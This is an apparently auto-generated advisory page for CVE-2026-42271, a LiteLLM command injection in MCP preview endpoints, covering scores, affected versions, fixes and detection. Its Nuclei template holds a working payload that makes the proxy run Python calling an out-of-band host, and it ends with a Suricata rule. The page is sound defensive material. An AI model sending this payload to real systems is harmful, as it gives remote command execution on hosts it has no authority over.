VULNpocalypse

CVE-2026-42271: BerriAI LiteLLM Command Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it, POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list, accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user, including holders of low-privilege internal-user keys, could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-05-08).

Weakness: CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’); CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’); Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity only when specific conditions are present needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2026-06-08
US federal deadline
2026-06-22
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-28507, GHSA-v4p8-mg3p-g94g, SNYK-PYTHON-LITELLM-16119122

VEDAS cluster: VEDAS:DRAGONCOMMANDER

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (8)

Catalogue entries, not exploit evidence.

12 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.914
very likely to be attacked soon
VEDAS
0.985
strong exploit evidence
On CISA KEV
Yes, since 2026-06-08
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-42271 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-42271 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
BerriAI litellmversion >= 1.74.2, < 1.83.7Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: litellm litellm.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

LiteLLM - Command Injection

LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it, POST /mcp- rest/test/connection and POST /mcp-rest/test/tools/list, accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /mcp-rest/test/connection); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-42271.yaml
Show the template (57 lines)
yaml
id: CVE-2026-42271

info:
  name: "LiteLLM - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to
    before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-
    rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request
    body, including the command, args, and env fields used by the stdio transport.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-42271&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42271
    cwe-id: CWE-77
  metadata:
    verified: false
  tags: cve,cve2026,litellm,rce,command-injection,mcp,starlette,kev,vkev
variables:
  payload: '{"transport":"stdio","command":"python","args":["-c","import urllib.request;urllib.request.urlopen(''https://{{interactsh-url}}'')"]}'

http:
  - raw:
      - |
        POST /mcp-rest/test/connection HTTP/1.1
        Host: a/?x=
        Content-Type: application/json
        Content-Length: {{len(payload)}}

        {{payload}}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Failed to connect to MCP server"

      - type: status
        status:
          - 200

      - type: word
        part: interactsh_protocol
        words:
          - "http"

    extractors:
      - type: kval
        kval:
          - interactsh_ip

CVE-2026-42271.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-42271 LiteLLM - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-42271 LiteLLM - Command Injection"; flow:established,to_server; http.uri; content:"/mcp-rest/test/connection"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-42271; reference:url,https://www.exploit.observer/?keyword=CVE-2026-42271&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=litellm&match=exact; sid:1010198; rev:1;)

CVE-2026-42271.rules on GitHub

References

Vendor advisories and patches

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.